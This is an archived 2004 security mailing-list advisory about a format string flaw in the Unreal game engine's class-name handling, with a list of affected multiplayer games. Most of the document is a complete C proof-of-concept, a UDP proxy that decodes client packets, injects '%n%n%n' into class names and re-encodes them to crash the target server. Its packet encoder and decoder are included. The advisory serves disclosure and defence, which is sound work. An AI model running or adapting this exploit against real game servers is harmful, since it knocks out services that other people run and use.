[NEWS] Format String Vulnerability in EpicGames Unreal Engine

From: SecuriTeam (support_at_securiteam.com)
Date: 03/10/04

  • Next message: SecuriTeam: "[NT] Multiple WFTPD DoS Vulnerabilities (XeroxDocutech)"
    To: list@securiteam.com
    Date: 10 Mar 2004 18:52:16 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Format String Vulnerability in EpicGames Unreal Engine
    ------------------------------------------------------------------------

    SUMMARY

    The Unreal engine is the famous game engine developed by
    <http://www.epicgames.com> EpicGames and used by a wide number of games. A
    vulnerability in the EpicGame's engine (server side) allows a user to send
    a special class name (name of an object) causing the server to execute
    arbitrary code (via a format string vulnerability).

    DETAILS

    Vulnerable Systems:
     * America's Army
     * DeusEx
     * Devastation
     * Magic Battlegrounds
     * Mobile Forces
     * Nerf Arena Blast
     * Postal 2
     * Rainbow Six: Raven Shield
     * Rune
     * Sephiroth: 3rd episode the Crusade
     * Star Trek: Klingon Honor Guard
     * Tactical Ops
     * TNN Pro Hunter
     * Unreal 1
     * Unreal II XMP
     * Unreal Tournament
     * Unreal Tournament 2003
     * Wheel of Time
     * X-com Enforcer
     * XIII
    ( the list contains all the Unreal based games with multiplayer support
    released until now )

    The problem is a format string bug in the Classes management. Each time a
    client connects to a server it sends the names of the objects it uses
    (called classes).

    If an attacker uses a class name containing format parameters (as %n, %s
    and so on) he will be able to crash or also to execute malicious code on
    the remote server.

    Fix:
    This bug was reported to EpicGames on the 2th September 2003 (6 months
    ago) but at the beginning it was underrated and was taken a bit more
    seriously only in November. All the developers of the vulnerable games
    have been alerted by EpicGames through their internal mailing-list.

    About UT and UT2003:
    EpicGames refused to release a quick-fix for UnrealTournament and
    UnrealTournament 2003 so the fix was inserted in the planned patch as they
    do for graphic bugs and other small problems... the patch has not been
    released yet and is impossible to know when it will be ready.

    Exploit:
    This proof-of-concept is a proxy server able to modify the Unreal packets
    in real-time allowing the insertion of "%n" into the class names sent by
    the client to the server causing the remote crash. It should be compatible
    with any game based on the Unreal engine and requires the same game
    running on the server to be used.

    /*

    by Luigi Auriemma

    UNIX & WIN VERSION - http://aluigi.altervista.org/poc/unrfs-poc.zip
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include "unrealdec.h"
    #include "unrealenc.h"

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
        DWORD tid1;
        HANDLE thandle;
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netdb.h>
        #include <pthread.h>

        pthread_t tid1;
        int thandle;
    #endif

    #define VER "0.1"
    #define PORT 7777
    #define BUFFSZ 2048

    #ifdef WIN32
        static DWORD WINAPI ctos(void *null);
    #else
        static void *ctos(void *null);
    #endif
    u_long resolv(char *host);
    void std_err(void);

    int sd1,
                        sd2;
    struct sockaddr_in peer1,
                        peer2;

    int main(int argc, char *argv[]) {
        int len,
                    psz = sizeof(peer1),
                    on = 1,
                    i;
        u_char *buff;
        u_short lport = PORT,
                    dport = PORT;
        fd_set fd_read;

        setbuf(stdout, NULL);

        fputs("\n"
            "Unreal engine format string bug proof-of-concept "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@altervista.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\n"
                "Usage: %s [options] <Unreal_server>\n"
                "\n"
                "Options:\n"
                "-l PORT port to bind (%d)\n"
                "-d PORT port of the remote server (%d)\n"
                "\n"
                "How to use this proof-of-concept:\n"
                "1) Run this tool using the hostname or the IP of the server
    you wanna test\n"
                "2) Launch a game that uses the Unreal engine (the same of the
    server!)\n"
                "3) You must be able to connect to yourself (this proxy)\n"
                " Usually you must go in the \"Open site\" option of the
    multiplayer menu\n"
                " inserting the IP 127.0.0.1\n"
                "4) If the server is vulnerable it will crash immediately\n"
                "\n", argv[0], PORT, PORT);
            exit(1);
        }

        argc--;
        for(i = 1; i < argc; i++) {
            switch(argv[i][1]) {
                case 'l': lport = atoi(argv[++i]); break;
                case 'd': dport = atoi(argv[++i]); break;
                default: {
                    printf("\nError: wrong command-line argument (%s)\n",
    argv[i]);
                    exit(1);
                    } break;
            }
        }

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

            /* 1 = client */
            /* 2 = server */

        peer1.sin_addr.s_addr = INADDR_ANY; /* listen for client */
        peer1.sin_port = htons(lport);
        peer1.sin_family = AF_INET;

        peer2.sin_addr.s_addr = resolv(argv[argc]); /* connect to server */
        peer2.sin_port = htons(dport);
        peer2.sin_family = AF_INET;

        sd1 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd1 < 0) std_err();
        sd2 = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd2 < 0) std_err();

        printf("\n"
            "Server: %s:%hu\n"
            "Binding UDP port %u\n"
            "\n",
            inet_ntoa(peer2.sin_addr),
            dport,
            lport);

        if(setsockopt(sd1, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd1, (struct sockaddr *)&peer1, psz)
          < 0) std_err();

            /* waiting first packet! */
        fputs("Waiting first packet to start proxy... ", stdout);
        FD_ZERO(&fd_read);
        FD_SET(sd1, &fd_read);
        if(select(sd1 + 1, &fd_read, NULL, NULL, NULL)
          < 0) std_err();
        fputs("let's go\n", stdout);

                   /* CLIENT --> SERVER (thread) */
    #ifdef WIN32
        thandle = CreateThread(NULL, 0, ctos, 0, 0, &tid1);
        if(!thandle) {
    #else
        thandle= pthread_create(&tid1, NULL, ctos, NULL);
        if(thandle) {
    #endif
            fputs("\nError: Cannot create the thread\n", stdout);
            exit(1);
        }

                   /* SERVER --> CLIENT */
        buff = malloc(BUFFSZ);
        if(!buff) std_err();

        fputs("Server -> Client (active)\n", stdout);
        while(1) {
            len = recvfrom(sd2, buff, BUFFSZ, 0, (struct sockaddr *)&peer2,
    &psz);
            if(len < 0) std_err();
            if(sendto(sd1, buff, len, 0, (struct sockaddr *)&peer1, psz)
              < 0) std_err();
        }

        return(0);
    }

    #ifdef WIN32
        static DWORD WINAPI ctos(void *null) {
    #else
        static void *ctos(void *null) {
    #endif
        int i,
                len,
                psz = sizeof(peer1);
        u_char *buff,
                *ptr,
                ecx;

        buff = malloc(BUFFSZ + 1);
        if(!buff) std_err();

        fputs("Client -> Server (active)\n", stdout);
        while(1) {
            len = recvfrom(sd1, buff, BUFFSZ, 0, (struct sockaddr *)&peer1,
    &psz);
            if(len < 0) std_err();

            if(*buff < 8) {

                    /* experimental Unreal engine packets decoding */
                ecx = unrealdec(buff, len);

                        /********************/
                        /* BUG EXPLOITATION */
                        /********************/

                ptr = buff;
                for(i = 0; i < len; i++, ptr++) {
                    if(!memcmp(ptr, "Class=", 6)) {
                        printf("\n"
                            "Format string bug exploited (check the server)\n"
                            "Details:\n"
                            " from: \"%s\"\n", ptr);
                        memcpy(ptr + 6, "%n%n%n.", 7);
                        printf(" to: \"%s\"\n", ptr);

                            /* we could break here but I want to check other
    Classes */
                        //break;
                    }
                }
                        /*************************/
                        /* EXPLOITATION FINISHED */
                        /*************************/

                    /* experimental Unreal engine packets encoding */
                unrealenc(buff, len, ecx);
            }

            if(sendto(sd2, buff, len, 0, (struct sockaddr *)&peer2, psz)
              < 0) std_err();
        }

        free(buff);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    unrealenc.h:
    /*

    UNREALENC.H 0.1
    by Luigi Auriemma
    e-mail: aluigi@altervista.org
    web: http://aluigi.altervista.org

    data = packet
    size = length of the packet
    ecx = ecx value to use for the encoding (the decoding function gives you
           this value as return value)

    In packets major than 0x12, the latest byte is not exact!
    If for example the latest byte should be 0x17, with the algorithm
    it will be 0x07.
    I suggest you to use the encoding only with packets that have the
    first byte minor than 0x12.

    EXPERIMENTAL!!!
    THIS IS NOT THE REAL/COMPLETE ALGORITHM BUT IT IS A WORK-AROUND
    THAT GIVES A RESULT SIMILAR TO THE REAL ALGORITHM!

    This source is covered by GNU/GPL
    */

    void unrealenc(unsigned char *data, int size, unsigned char ecx) {
        unsigned long eax = 0,
                        ebx,
                        i;
        int wa = 0; /* another work-around */

        data[size] = 0x00; /* I think it is better, attention with your buff
    */
        if(data[size - 1] != 0x00) wa = 1;

        for(i = 0; i <= size; i++, data++) {
            ebx = *data;
            ebx <<= ecx;
            ebx += eax;
            ebx >>= 8;
            eax = ebx;

            if(!i) continue;
            *(data - 1) = ebx;
        }

        if(wa) {
            return; /* the latest byte should be wrong */
        } else {
            data -= 2;
            switch(ecx) {
                case 0xa: *data = 0x04; break;
                case 0xb: *data = 0x08; break;
                case 0xc: *data = 0x10; break;
                case 0xd: *data = 0x20; break;
                case 0xe: *data = 0x40; break;
                case 0xf: *data = 0x80; break;
                default: break;
            }
        }
    }

    unrealdec:
    /*

    UNREALDEC.H 0.1
    by Luigi Auriemma
    e-mail: aluigi@altervista.org
    web: http://aluigi.altervista.org

    Arguments:
    - data = the encoded packet
    - size = the total length of the packet

    Return value:
    - ECX value for the encoding

    after the function, data will contain the decoded buffer

    EXPERIMENTAL!!!
    THIS IS NOT THE REAL/COMPLETE ALGORITHM BUT IT IS A WORK-AROUND
    THAT GIVES A RESULT SIMILAR TO THE REAL ALGORITHM!

    This source is covered by GNU/GPL
    */

    unsigned char unrealdec(unsigned char *data, int size) {
        unsigned long eax = 0,
                        ebx,
                        i;
        unsigned char ecx,
                        ecxe;

            /* seems that my old workaround about last NULL byte can be
    applied */
            /* only to packets with packet number minor than 0x12 */
        if(*data < 0x12) {
            switch(data[size - 1]) {
                case 0x80: ecx = 0x9; break;
                case 0x40: ecx = 0xa; break;
                case 0x20: ecx = 0xb; break;
                case 0x10: ecx = 0xc; break;
                case 0x08: ecx = 0xd; break;
                case 0x04: ecx = 0xe; break;
                default: ecx = 0xc; break;
                /* seems that ecx = 0xc for the other packets */
            }
        } else ecx = 0xc;

        /* ECX for encoding */
        switch(ecx) {
            case 0xe: ecxe = 0xa; break;
            case 0xd: ecxe = 0xb; break;
            case 0xc: ecxe = 0xc; break;
            case 0xb: ecxe = 0xd; break;
            case 0xa: ecxe = 0xe; break;
            case 0x9: ecxe = 0xf; break;
            default: ecxe = 0xc; break;
        }

        for(i = 0; i < size; i++, data++) {
            ebx = *data;
            ebx <<= ecx;
            ebx += eax;
            ebx >>= 8;
            eax = ebx;
            *data = ebx;
        }

        return(ecxe);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    The original article can be found at:
    <http://aluigi.altervista.org/adv/unrfs-adv.txt>
    http://aluigi.altervista.org/adv/unrfs-adv.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Multiple WFTPD DoS Vulnerabilities (XeroxDocutech)"

    Relevant Pages

    • [NT] Painkiller DoS and Limited Code Execution
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... a limited code execution issue on the server. ... An authorization string can be found at ... * The client's packet used to join and containing its game ...
      (Securiteam)
    • [NT] Medal of Honor Remote Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Medal of Honor is a famous military FPS game located in the World War II. ... portion and a carefully crafter packet can be used for a classic buffer ... Linux version of the server. ...
      (Securiteam)
    • [TOOL] Skeeve - Software For Creating Cover Channel With ICMP Tunnel
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Skeeve creates an ICMP tunnel which is based on the use of a Bounce ... Client of the tunnel is trying to send a packet to the Bounce server with ... replay this packet and forward it to the destination Server. ...
      (Securiteam)
    • UT2003 client passive DoS exploit
      ... I have written an exploit about another effect of the "Negative sign bug" I ... The vulnerable softwares are ONLY the clients of the retail UnrealTournament ... The patch v2225 fixes the problem in the retail game. ... The exploit simulates an Unreal Tournament 2003 server that accepts ...
      (Bugtraq)